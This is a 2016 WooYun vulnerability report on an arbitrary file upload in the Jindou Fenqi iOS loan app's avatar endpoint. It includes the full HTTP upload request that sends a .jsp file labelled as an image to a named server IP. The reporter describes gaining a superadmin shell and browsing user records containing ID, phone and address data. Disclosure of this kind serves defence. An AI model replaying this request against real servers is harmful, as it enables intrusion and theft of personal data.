当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0203792

漏洞标题：金豆分期官方APP GetShell（涉及11W+用户协议/身份证/手机/住址信息）

相关厂商：jindoufenqi.com

漏洞作者： 路人甲

提交时间：2016-05-01 08:37

修复时间：2016-05-09 09:00

公开时间：2016-05-09 09:00

漏洞类型：文件上传导致任意代码执行

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-05-01： 细节已通知厂商并且等待厂商处理中
2016-05-09： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

APP安全之上传

详细说明：

目标：金豆分期IOS APP
检测发现在头像上传处可任意上传jsp文件，于是Getshell

http://60.211.217.162:9001/opt/xydWeb/ArchFileshttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/FqApiUploadFiles/userIcon/117743/header.jsp


上传数据包：

POST http://60.211.217.162:9001/fqApi/api/stuUser/headerPicUpload.do HTTP/1.1
Host: 60.211.217.162:9001
Content-Type: multipart/form-data; boundary=Boundary+0xAbCdEfGbOuNdArY
Cookie: JSESSIONID=D5FDF89520D51BC11B0B95F57F04B555
Connection: keep-alive
Connection: keep-alive
Accept: */*
User-Agent: JinDouFenQi/3.7.2 (iPhone; iOS 9.3.1; Scale/2.00)
Accept-Language: zh-Hans-CN;q=1, en-US;q=0.9
Content-Length: 75844
Accept-Encoding: gzip, deflate
--Boundary+0xAbCdEfGbOuNdArY
Content-Disposition: form-data; name="requestinfo"
{"request":{"tokencode":117743,"params":{"USER_ID":"117743"}},"header":{"platform":"IOS","macadd":"f0-4g-00-30","device":"iPhone8,1","clientid":"ajf5483jkhfhgk34h","version":"3.7"}}
--Boundary+0xAbCdEfGbOuNdArY
Content-Disposition: form-data; name="upload"; filename="header.jsp"
Content-Type: image/jpg
test 
--Boundary+0xAbCdEfGbOuNdArY--

漏洞证明：

1、当前用户身份，超级管理员

id.jpg


2、ifconfig

ifconfig.jpg


3、翻了下，发现大量用户协议，内含大量身份证/手机/住址信息，涉密信息已打码，具体就不深入了~

file.jpg


file2.jpg

修复方案：

请多指教~

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2016-05-09 09:00

厂商回复：

漏洞Rank：4 (WooYun评价)

最新状态：

暂无

漏洞评价：

评价